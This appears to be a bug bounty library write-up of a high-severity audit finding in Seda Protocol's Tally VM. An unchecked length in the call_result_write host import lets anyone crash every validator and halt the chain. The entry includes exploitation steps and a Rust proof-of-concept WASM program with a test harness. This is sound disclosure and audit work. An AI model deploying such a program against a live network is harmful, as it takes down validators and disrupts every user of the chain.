# Anyone can crash validators with a Tally VM program that panics the call_result_write import

Tally VM import call_result_write panics on out-of-range index when result_data_length exceeds call_result_value length, crashing all validators and halting the chain.

- Payout: Audit contest
- Severity: high
- Program: Seda Protocol
- Found by: g
- Disclosed: 2024-12-20
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-12-seda-protocol-judging/issues/247
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-12-seda-protocol%3AH-13
- Tags: area:web3 domain:oss domain:web3 impact:dos kind:contest platform:sherlock sev:high tech:rust technique:source-review vuln:dos

**Target:** Tally VM WASM host import (call_result_write)
**Root cause:** call_result_value import iterates 0..result_data_length and indexes ctx.call_result_value without bounds check; default length is 0, so any positive length panics the host.
**Steps:**
1. Write WASM program importing `seda_v1::call_result_write` and call it with length 1
2. Build with `cargo build --target wasm32-wasi`
3. Deploy via `StoreOracleProgram()`
4. Post a Data Request that executes the tally program
5. Tally module EndBlock() executes program, host panics `index out of bounds: len is 0 but index is 0`, validators crash
**How found:** Code review of Tally VM host imports; noticed call_result_write indexes call_result_value by user-controlled length with no bounds check and default length 0.
**Exploitation:** Anyone deploys a malicious tally WASM via StoreOracleProgram, then posts a Data Request referencing it; during EndBlock tally execution every validator running the VM panics, halting the chain.
**Insight:** In WASM host-import bridges, user-controlled length parameters paired with unchecked indexing of host-side buffers are a direct panic/DoS vector; audit every import that takes a length and indexes a host vector.

## Proof of concept (copied exactly from the original report)

**WASM program calling call_result_write with length 1**

```
#[link(wasm_import_module = "seda_v1")]
extern "C" {
    pub fn call_result_write(result: *const u8, result_length: u32);
}

fn main() {
    unsafe {
        call_result_write(result.as_ptr(), 1 as u32);
    }
}
```

**Test harness executing the attack WASM**

```
#[test]
  fn execute_attack() {
      let wasm_bytes = include_bytes!("../../attack.wasm");
      let mut envs: BTreeMap<String, String> = BTreeMap::new();

      envs.insert("VM_MODE".to_string(), "dr".to_string());
      envs.insert(DEFAULT_GAS_LIMIT_ENV_VAR.to_string(), "300000000000000".to_string());

      let tempdir = std::env::temp_dir();
      let result = _execute_tally_vm(
          &tempdir,
          wasm_bytes.to_vec(),
          vec![],
          envs,
      )
      .unwrap();

      println!("Result: {:?}", result);
  }
```

